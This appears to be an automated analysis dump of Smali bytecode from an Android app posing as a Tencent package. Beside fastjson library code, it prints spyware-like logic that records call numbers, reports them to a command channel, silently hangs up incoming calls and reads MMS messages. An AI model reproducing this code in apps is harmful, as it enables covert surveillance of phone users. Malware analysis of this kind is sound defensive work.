                                                355invoke-static {v1}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
                                                356move-result-object p1
                                                357try_end_203: return-object p1
                                                358catch_204: move-exception p1
                                                359new-instance p2, Lcom/alibaba/fastjson/JSONException;
                                                361const-string p3, "deserialize inet adress error"
                                                363invoke-direct {p2, p3, p1}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                364throw p2
                                                365goto_20d: return-object v5
                                                366cond_20e: new-instance p1, Lcom/alibaba/fastjson/JSONException;
                                                368const-string p2, "expect string"
                                                370invoke-direct {p1, p2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                371goto/16 :goto_217
                                                372goto_216: throw p1
                                                373goto_217: goto/16 :goto_216
                                                APIs
                                                • android.content.Context.getSystemService
                                                • android.content.Intent.getAction
                                                • java.lang.String.equals
                                                • android.content.Intent.getStringExtra
                                                • android.text.TextUtils.isEmpty
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.util.Log.d
                                                • android.content.Intent.getStringExtra
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.util.Log.d
                                                • android.content.Intent.getStringExtra
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.util.Log.d
                                                • android.text.TextUtils.isEmpty
                                                • android.content.Context.getContentResolver
                                                • android.provider.CallLog$Calls.CONTENT_URI:Landroid/net/Uri
                                                • com.tencent.shopcj.utils.PhoneMonitor$1.this$0:Lcom/tencent/shopcj/utils/PhoneMonitor
                                                • android.os.Handler.<init>
                                                • com.tencent.shopcj.utils.PhoneMonitor$CallLogObserver.<init>
                                                • android.content.ContentResolver.registerContentObserver
                                                • android.telephony.TelephonyManager.EXTRA_STATE_RINGING:Ljava/lang/String
                                                • java.lang.String.equals
                                                • android.telephony.TelephonyManager.EXTRA_STATE_IDLE:Ljava/lang/String
                                                • java.lang.String.equals
                                                • android.telephony.TelephonyManager.EXTRA_STATE_RINGING:Ljava/lang/String
                                                • java.lang.String.equalsIgnoreCase
                                                • android.util.Log.d
                                                • android.media.AudioManager.setRingerMode
                                                • android.content.Context.checkSelfPermission
                                                • android.content.Context.getSystemService
                                                • android.telecom.TelecomManager.endCall
                                                • java.lang.Exception.printStackTrace
                                                • android.util.Log.d
                                                • java.lang.Exception.printStackTrace
                                                • android.media.AudioManager.setRingerMode
                                                Strings
                                                • audio
                                                • android.intent.action.NEW_OUTGOING_CALL
                                                • PhoneMonitor
                                                • android.intent.extra.PHONE_NUMBER
                                                • Outgoing Number:
                                                • state
                                                • State:
                                                • incoming_number
                                                • Incomng Number:
                                                • \u54cd\u94c3\uff1aringing
                                                • android.permission.ANSWER_PHONE_CALLS
                                                • telecom
                                                • \u6765\u7535\u6302\u70b9\uff1aend
                                                Position Instruction Meta Information
                                                1const-string v0, "audio"
                                                3invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                4move-result-object v0
                                                5check-cast v0, Landroid/media/AudioManager;
                                                7invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                                                8move-result-object v1
                                                10const-string v2, "android.intent.action.NEW_OUTGOING_CALL"
                                                12invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                13move-result v1
                                                14const/4 v2, 0x1
                                                16const-string v3, "PhoneMonitor"
                                                17if-eqz v1, :cond_3e
                                                19const-string v0, "android.intent.extra.PHONE_NUMBER"
                                                21invoke-virtual {p2, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                                                22move-result-object p2
                                                24invoke-static {p2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                25move-result v0
                                                26if-nez v0, :cond_f1
                                                27new-instance v0, Ljava/lang/StringBuilder;
                                                29invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                31const-string v1, "Outgoing Number: "
                                                33invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                35invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                37invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                38move-result-object v0
                                                40invoke-static {v3, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                42sget-object v0, Lcom/tencent/shopcj/bean/CommandBean;->OUTGOING:Ljava/lang/String;
                                                44invoke-static {p1, v0, v2, p2}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                45goto/16 :goto_f1
                                                46cond_3e:
                                                47const-string v1, "state"
                                                49invoke-virtual {p2, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                                                50move-result-object v1
                                                51new-instance v4, Ljava/lang/StringBuilder;
                                                53invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                55const-string v5, "State: "
                                                57invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                59invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                61invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                62move-result-object v4
                                                64invoke-static {v3, v4}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                66const-string v4, "incoming_number"
                                                68invoke-virtual {p2, v4}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                                                69move-result-object p2
                                                70new-instance v4, Ljava/lang/StringBuilder;
                                                72invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                74const-string v5, "Incomng Number: "
                                                76invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                78invoke-virtual {v4, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                80invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                81move-result-object v4
                                                83invoke-static {v3, v4}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                85invoke-static {p2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                86move-result v4
                                                87const/4 v5, 0x0
                                                88if-nez v4, :cond_a9
                                                90invoke-virtual {p1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                                91move-result-object v4
                                                93sget-object v6, Landroid/provider/CallLog$Calls;->CONTENT_URI:Landroid/net/Uri;
                                                94new-instance v7, Lcom/tencent/shopcj/utils/PhoneMonitor$CallLogObserver;
                                                96iget-object v8, p0, Lcom/tencent/shopcj/utils/PhoneMonitor$1;->this$0:Lcom/tencent/shopcj/utils/PhoneMonitor;
                                                97new-instance v9, Landroid/os/Handler;
                                                99invoke-direct {v9}, Landroid/os/Handler;-><init>()V
                                                101invoke-direct {v7, v8, p2, v9}, Lcom/tencent/shopcj/utils/PhoneMonitor$CallLogObserver;-><init>(Lcom/tencent/shopcj/utils/PhoneMonitor;Ljava/lang/String;Landroid/os/Handler;)V
                                                103invoke-virtual {v4, v6, v2, v7}, Landroid/content/ContentResolver;->registerContentObserver(Landroid/net/Uri;ZLandroid/database/ContentObserver;)V
                                                105sget-object v4, Landroid/telephony/TelephonyManager;->EXTRA_STATE_RINGING:Ljava/lang/String;
                                                107invoke-virtual {v4, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                108move-result v4
                                                109if-eqz v4, :cond_9c
                                                111sget-object v4, Lcom/tencent/shopcj/bean/CommandBean;->INCOMING:Ljava/lang/String;
                                                113invoke-static {p1, v4, v2, p2}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                114goto/16 :goto_a9
                                                115cond_9c:
                                                116sget-object v2, Landroid/telephony/TelephonyManager;->EXTRA_STATE_IDLE:Ljava/lang/String;
                                                118invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                119move-result v2
                                                120if-eqz v2, :cond_a9
                                                122sget-object v2, Lcom/tencent/shopcj/bean/CommandBean;->INCOMING:Ljava/lang/String;
                                                124invoke-static {p1, v2, v5, p2}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                125cond_a9: sget-boolean p2, Lcom/tencent/shopcj/main/MyApplication;->curPhoneMonitorState:Z
                                                126if-eqz p2, :cond_f1
                                                128sget-object p2, Landroid/telephony/TelephonyManager;->EXTRA_STATE_RINGING:Ljava/lang/String;
                                                130invoke-virtual {v1, p2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                                131move-result p2
                                                132if-eqz p2, :cond_f1
                                                134const-string p2, "\u54cd\u94c3\uff1aringing"
                                                136invoke-static {v3, p2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                138invoke-virtual {v0, v5}, Landroid/media/AudioManager;->setRingerMode(I)V
                                                139sget p2, Landroid/os/Build$VERSION;->SDK_INT:I
                                                140const/16 v1, 0x1c
                                                141if-lt p2, v1, :cond_dc
                                                142try_start_c3:
                                                143const-string p2, "android.permission.ANSWER_PHONE_CALLS"
                                                145invoke-virtual {p1, p2}, Landroid/content/Context;->checkSelfPermission(Ljava/lang/String;)I
                                                146move-result p2
                                                147if-nez p2, :cond_ed
                                                149const-string p2, "telecom"
                                                151invoke-virtual {p1, p2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                152move-result-object p1
                                                153check-cast p1, Landroid/telecom/TelecomManager;
                                                155invoke-virtual {p1}, Landroid/telecom/TelecomManager;->endCall()Z
                                                156try_end_d6: goto/16 :goto_ed
                                                157catch_d7: move-exception p1
                                                159invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
                                                160goto/16 :goto_ed
                                                161cond_dc:
                                                162invoke-static {p1}, Lcom/tencent/shopcj/utils/PhoneMonitor;->access$000(Landroid/content/Context;)Lcom/android/internal/telephony/ITelephony;
                                                163move-result-object p1
                                                165invoke-interface {p1}, Lcom/android/internal/telephony/ITelephony;->endCall()Z
                                                167const-string p1, "\u6765\u7535\u6302\u70b9\uff1aend"
                                                169invoke-static {v3, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                170try_end_e8: goto/16 :goto_ed
                                                171catch_e9: move-exception p1
                                                173invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
                                                174goto_ed: const/4 p1, 0x2
                                                176invoke-virtual {v0, p1}, Landroid/media/AudioManager;->setRingerMode(I)V
                                                177cond_f1: return-void
                                                Cross References
                                                APIs
                                                • java.util.Calendar.getTime
                                                • java.lang.Number.longValue
                                                • java.util.Date.<init>
                                                • java.util.Calendar.getTime
                                                • java.lang.String.startsWith
                                                • java.lang.String.endsWith
                                                • java.lang.String.length
                                                • java.lang.String.substring
                                                • java.lang.String.indexOf
                                                • java.lang.String.length
                                                • java.lang.String.length
                                                • java.lang.String.length
                                                • java.lang.String.length
                                                • java.text.SimpleDateFormat.<init>
                                                • java.text.SimpleDateFormat.setTimeZone
                                                • java.text.SimpleDateFormat.parse
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.String.length
                                                • java.lang.Long.parseLong
                                                • java.lang.Object.getClass
                                                • java.lang.Class.getName
                                                • java.lang.String.equals
                                                • java.lang.Class.getMethod
                                                • java.lang.reflect.Method.invoke
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.Class.getName
                                                • java.lang.String.equals
                                                • java.lang.Class.getMethod
                                                • java.lang.reflect.Method.invoke
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.util.Date.<init>
                                                Strings
                                                • can not cast to Date, value :
                                                • /Date(
                                                • )/
                                                • yyyy-MM-dd
                                                • yyyy-MM-dd HH:mm:ss
                                                • yyyy-MM-dd HH:mm:ss.SSS
                                                • oracle.sql.TIMESTAMP
                                                • toJdbc
                                                • can not cast oracle.sql.TIMESTAMP to Date
                                                • oracle.sql.DATE
                                                • can not cast oracle.sql.DATE to Date
                                                Position Instruction Meta Information
                                                0const/4 v0, 0x0
                                                1if-nez p0, :cond_4
                                                2return-object v0
                                                3cond_4: instance-of v1, p0, Ljava/util/Date;
                                                4if-eqz v1, :cond_b
                                                5check-cast p0, Ljava/util/Date;
                                                6return-object p0
                                                7cond_b: instance-of v1, p0, Ljava/util/Calendar;
                                                8if-eqz v1, :cond_16
                                                9check-cast p0, Ljava/util/Calendar;
                                                11invoke-virtual {p0}, Ljava/util/Calendar;->getTime()Ljava/util/Date;
                                                12move-result-object p0
                                                13return-object p0
                                                14cond_16: const-wide/16 v1, -0x1
                                                15instance-of v3, p0, Ljava/lang/Number;
                                                16if-eqz v3, :cond_28
                                                17check-cast p0, Ljava/lang/Number;
                                                19invoke-virtual {p0}, Ljava/lang/Number;->longValue()J
                                                20move-result-wide v0
                                                21new-instance p0, Ljava/util/Date;
                                                23invoke-direct {p0, v0, v1}, Ljava/util/Date;-><init>(J)V
                                                24return-object p0
                                                25cond_28: instance-of v3, p0, Ljava/lang/String;
                                                27const-string v4, "can not cast to Date, value : "
                                                28const/4 v5, 0x0
                                                29if-eqz v3, :cond_ce
                                                30move-object v1, p0
                                                31check-cast v1, Ljava/lang/String;
                                                32new-instance v2, Lcom/alibaba/fastjson/parser/JSONScanner;
                                                34invoke-direct {v2, v1}, Lcom/alibaba/fastjson/parser/JSONScanner;-><init>(Ljava/lang/String;)V
                                                35try_start_37:
                                                36invoke-virtual {v2, v5}, Lcom/alibaba/fastjson/parser/JSONScanner;->scanISO8601DateIfMatch(Z)Z
                                                37move-result v3
                                                38if-eqz v3, :cond_49
                                                40invoke-virtual {v2}, Lcom/alibaba/fastjson/parser/JSONScanner;->getCalendar()Ljava/util/Calendar;
                                                41move-result-object p0
                                                43invoke-virtual {p0}, Ljava/util/Calendar;->getTime()Ljava/util/Date;
                                                44move-result-object p0
                                                45try_end_45:
                                                46invoke-virtual {v2}, Lcom/alibaba/fastjson/parser/JSONScanner;->close()V
                                                47return-object p0
                                                48cond_49:
                                                49invoke-virtual {v2}, Lcom/alibaba/fastjson/parser/JSONScanner;->close()V
                                                51const-string v2, "/Date("
                                                53invoke-virtual {v1, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                54move-result v2
                                                55if-eqz v2, :cond_67
                                                57const-string v2, ")/"
                                                59invoke-virtual {v1, v2}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                                                60move-result v2
                                                61if-eqz v2, :cond_67
                                                62const/4 v2, 0x6
                                                64invoke-virtual {v1}, Ljava/lang/String;->length()I
                                                65move-result v3
                                                66add-int/lit8 v3, v3, -0x2
                                                68invoke-virtual {v1, v2, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                                69move-result-object v1
                                                70cond_67: const/16 v2, 0x2d
                                                72invoke-virtual {v1, v2}, Ljava/lang/String;->indexOf(I)I
                                                73move-result v2
                                                74const/4 v3, -0x1
                                                75if-eq v2, v3, :cond_bd
                                                77invoke-virtual {v1}, Ljava/lang/String;->length()I
                                                78move-result p0
                                                80sget-object v0, Lcom/alibaba/fastjson/JSON;->DEFFAULT_DATE_FORMAT:Ljava/lang/String;
                                                82invoke-virtual {v0}, Ljava/lang/String;->length()I
                                                83move-result v0
                                                84if-ne p0, v0, :cond_7f
                                                86sget-object p0, Lcom/alibaba/fastjson/JSON;->DEFFAULT_DATE_FORMAT:Ljava/lang/String;
                                                87goto/16 :goto_97
                                                88cond_7f:
                                                89invoke-virtual {v1}, Ljava/lang/String;->length()I
                                                90move-result p0
                                                91const/16 v0, 0xa
                                                92if-ne p0, v0, :cond_8a
                                                94const-string p0, "yyyy-MM-dd"
                                                95goto/16 :goto_97
                                                96cond_8a:
                                                97invoke-virtual {v1}, Ljava/lang/String;->length()I
                                                98move-result p0
                                                99const/16 v0, 0x13
                                                100if-ne p0, v0, :cond_95
                                                102const-string p0, "yyyy-MM-dd HH:mm:ss"
                                                103goto/16 :goto_97
                                                104cond_95:
                                                105const-string p0, "yyyy-MM-dd HH:mm:ss.SSS"
                                                106goto_97: new-instance v0, Ljava/text/SimpleDateFormat;
                                                108sget-object v2, Lcom/alibaba/fastjson/JSON;->defaultLocale:Ljava/util/Locale;
                                                110invoke-direct {v0, p0, v2}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;Ljava/util/Locale;)V
                                                112sget-object p0, Lcom/alibaba/fastjson/JSON;->defaultTimeZone:Ljava/util/TimeZone;
                                                114invoke-virtual {v0, p0}, Ljava/text/SimpleDateFormat;->setTimeZone(Ljava/util/TimeZone;)V
                                                115try_start_a3:
                                                116invoke-virtual {v0, v1}, Ljava/text/SimpleDateFormat;->parse(Ljava/lang/String;)Ljava/util/Date;
                                                117move-result-object p0
                                                118try_end_a7: return-object p0
                                                119catch_a8: new-instance p0, Lcom/alibaba/fastjson/JSONException;
                                                120new-instance v0, Ljava/lang/StringBuilder;
                                                122invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                124invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                126invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                128invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                129move-result-object v0
                                                131invoke-direct {p0, v0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                132throw p0
                                                133cond_bd:
                                                134invoke-virtual {v1}, Ljava/lang/String;->length()I
                                                135move-result v2
                                                136if-nez v2, :cond_c4
                                                137return-object v0
                                                138cond_c4:
                                                139invoke-static {v1}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
                                                140move-result-wide v1
                                                141goto/16 :goto_ce
                                                142catchall_c9: move-exception p0
                                                144invoke-virtual {v2}, Lcom/alibaba/fastjson/parser/JSONScanner;->close()V
                                                145throw p0
                                                146cond_ce: const-wide/16 v6, 0x0
                                                147cmp-long v0, v1, v6
                                                148if-gez v0, :cond_15e
                                                150invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                151move-result-object v0
                                                153invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                154move-result-object v1
                                                156const-string v2, "oracle.sql.TIMESTAMP"
                                                158invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                159move-result v1
                                                161const-string v2, "toJdbc"
                                                162const/4 v3, 0x1
                                                163if-eqz v1, :cond_112
                                                165sget-object v1, Lcom/alibaba/fastjson/util/TypeUtils;->oracleTimestampMethod:Ljava/lang/reflect/Method;
                                                166if-nez v1, :cond_fe
                                                167sget-boolean v1, Lcom/alibaba/fastjson/util/TypeUtils;->oracleTimestampMethodInited:Z
                                                168if-nez v1, :cond_fe
                                                169try_start_ef: new-array v1, v5, [Ljava/lang/Class;
                                                171invoke-virtual {v0, v2, v1}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                172move-result-object v0
                                                173sput-object v0, Lcom/alibaba/fastjson/util/TypeUtils;->oracleTimestampMethod:Ljava/lang/reflect/Method;
                                                174try_end_f7: goto/16 :goto_fc
                                                175catchall_f8: move-exception p0
                                                176sput-boolean v3, Lcom/alibaba/fastjson/util/TypeUtils;->oracleTimestampMethodInited:Z
                                                177throw p0
                                                178goto_fc: sput-boolean v3, Lcom/alibaba/fastjson/util/TypeUtils;->oracleTimestampMethodInited:Z
                                                179try_start_fe:
                                                180sget-object v0, Lcom/alibaba/fastjson/util/TypeUtils;->oracleTimestampMethod:Ljava/lang/reflect/Method;
                                                181new-array v1, v5, [Ljava/lang/Object;
                                                183invoke-virtual {v0, p0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                184move-result-object p0
                                                185try_end_106: check-cast p0, Ljava/util/Date;
                                                186return-object p0
                                                187catch_109: move-exception p0
                                                188new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                190const-string v1, "can not cast oracle.sql.TIMESTAMP to Date"
                                                192invoke-direct {v0, v1, p0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                193throw v0
                                                194cond_112:
                                                195invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                196move-result-object v1
                                                198const-string v6, "oracle.sql.DATE"
                                                200invoke-virtual {v6, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                201move-result v1
                                                202if-eqz v1, :cond_149
                                                204sget-object v1, Lcom/alibaba/fastjson/util/TypeUtils;->oracleDateMethod:Ljava/lang/reflect/Method;
                                                205if-nez v1, :cond_135
                                                206sget-boolean v1, Lcom/alibaba/fastjson/util/TypeUtils;->oracleDateMethodInited:Z
                                                207if-nez v1, :cond_135
                                                208try_start_126: new-array v1, v5, [Ljava/lang/Class;
                                                210invoke-virtual {v0, v2, v1}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                211move-result-object v0
                                                212sput-object v0, Lcom/alibaba/fastjson/util/TypeUtils;->oracleDateMethod:Ljava/lang/reflect/Method;
                                                213try_end_12e: goto/16 :goto_133
                                                214catchall_12f: move-exception p0
                                                215sput-boolean v3, Lcom/alibaba/fastjson/util/TypeUtils;->oracleDateMethodInited:Z
                                                216throw p0
                                                217catch_133: sput-boolean v3, Lcom/alibaba/fastjson/util/TypeUtils;->oracleDateMethodInited:Z
                                                218cond_135:
                                                219sget-object v0, Lcom/alibaba/fastjson/util/TypeUtils;->oracleDateMethod:Ljava/lang/reflect/Method;
                                                220new-array v1, v5, [Ljava/lang/Object;
                                                222invoke-virtual {v0, p0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                223move-result-object p0
                                                224try_end_13d: check-cast p0, Ljava/util/Date;
                                                225return-object p0
                                                226catch_140: move-exception p0
                                                227new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                229const-string v1, "can not cast oracle.sql.DATE to Date"
                                                231invoke-direct {v0, v1, p0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                232throw v0
                                                233cond_149: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                234new-instance v1, Ljava/lang/StringBuilder;
                                                236invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                238invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                240invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                242invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                243move-result-object p0
                                                245invoke-direct {v0, p0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                246throw v0
                                                247cond_15e: new-instance p0, Ljava/util/Date;
                                                249invoke-direct {p0, v1, v2}, Ljava/util/Date;-><init>(J)V
                                                250return-object p0
                                                APIs
                                                • android.database.ContentObserver.onChange
                                                • com.tencent.shopcj.utils.MmsDatabaseChangeObserver.resolver:Landroid/content/ContentResolver
                                                • android.net.Uri.parse
                                                • android.content.ContentResolver.query
                                                • android.database.Cursor.getCount
                                                • android.database.Cursor.moveToLast
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getInt
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getLong
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getString
                                                • android.text.TextUtils.isEmpty
                                                • java.nio.charset.StandardCharsets.ISO_8859_1:Ljava/nio/charset/Charset
                                                • java.lang.String.getBytes
                                                • java.nio.charset.StandardCharsets.UTF_8:Ljava/nio/charset/Charset
                                                • java.lang.String.<init>
                                                • java.lang.Exception.printStackTrace
                                                • android.database.Cursor.close
                                                • com.tencent.shopcj.utils.MmsDatabaseChangeObserver.getMmsBody
                                                • com.tencent.shopcj.utils.MmsDatabaseChangeObserver.getMmsAddress
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.tencent.shopcj.utils.MmsDatabaseChangeObserver.context:Landroid/content/Context
                                                • java.lang.Math.random
                                                • java.lang.Math.round
                                                • java.lang.Object.toString
                                                • com.tencent.shopcj.utils.MmsDatabaseChangeObserver.format:Ljava/text/SimpleDateFormat
                                                • java.util.Date.<init>
                                                • java.text.SimpleDateFormat.format
                                                • com.tencent.shopcj.utils.MmsDatabaseChangeObserver.context:Landroid/content/Context
                                                • com.tencent.shopcj.websocket.WsTypeEnum.DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum
                                                • java.lang.Exception.printStackTrace
                                                Strings
                                                • sub
                                                • date
                                                • _id
                                                • \n
                                                • content://mms
                                                • _id asc
                                                Position Instruction Meta Information
                                                1const-string v0, "sub"
                                                3const-string v1, "date"
                                                5const-string v2, "_id"
                                                7const-string v3, "\n"
                                                9invoke-super {p0, p1}, Landroid/database/ContentObserver;->onChange(Z)V
                                                10try_start_b:
                                                11iget-object v4, p0, Lcom/tencent/shopcj/utils/MmsDatabaseChangeObserver;->resolver:Landroid/content/ContentResolver;
                                                13const-string p1, "content://mms"
                                                15invoke-static {p1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                                16move-result-object v5
                                                17const/4 p1, 0x3
                                                18new-array v6, p1, [Ljava/lang/String;
                                                19const/4 p1, 0x0
                                                20aput-object v2, v6, p1
                                                21const/4 v7, 0x1
                                                22aput-object v1, v6, v7
                                                23const/4 v7, 0x2
                                                24aput-object v0, v6, v7
                                                25const/4 v7, 0x0
                                                26const/4 v8, 0x0
                                                28const-string v9, "_id asc"
                                                30invoke-virtual/range {v4 .. v9}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                                                31move-result-object v4
                                                32const-wide/16 v5, 0x0
                                                34const-string v7, ""
                                                35const/4 v8, -0x1
                                                36if-eqz v4, :cond_6d
                                                38invoke-interface {v4}, Landroid/database/Cursor;->getCount()I
                                                39move-result v9
                                                40if-lez v9, :cond_6d
                                                42invoke-interface {v4}, Landroid/database/Cursor;->moveToLast()Z
                                                44invoke-interface {v4, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                45move-result v2
                                                47invoke-interface {v4, v2}, Landroid/database/Cursor;->getInt(I)I
                                                48move-result v2
                                                50invoke-interface {v4, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                51move-result v1
                                                53invoke-interface {v4, v1}, Landroid/database/Cursor;->getLong(I)J
                                                54move-result-wide v5
                                                56invoke-interface {v4, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                57move-result v0
                                                59invoke-interface {v4, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                                60move-result-object v0
                                                61try_start_4f:
                                                62invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                63move-result v1
                                                64if-nez v1, :cond_68
                                                65new-instance v1, Ljava/lang/String;
                                                67sget-object v7, Ljava/nio/charset/StandardCharsets;->ISO_8859_1:Ljava/nio/charset/Charset;
                                                69invoke-virtual {v0, v7}, Ljava/lang/String;->getBytes(Ljava/nio/charset/Charset;)[B
                                                70move-result-object v7
                                                72sget-object v9, Ljava/nio/charset/StandardCharsets;->UTF_8:Ljava/nio/charset/Charset;
                                                74invoke-direct {v1, v7, v9}, Ljava/lang/String;-><init>([BLjava/nio/charset/Charset;)V
                                                75try_end_62: move-object v0, v1
                                                76goto/16 :goto_68
                                                77catch_64: move-exception v1
                                                78try_start_65:
                                                79invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                                                80goto_68: move-object v7, v0
                                                82invoke-interface {v4}, Landroid/database/Cursor;->close()V
                                                83goto/16 :goto_6e
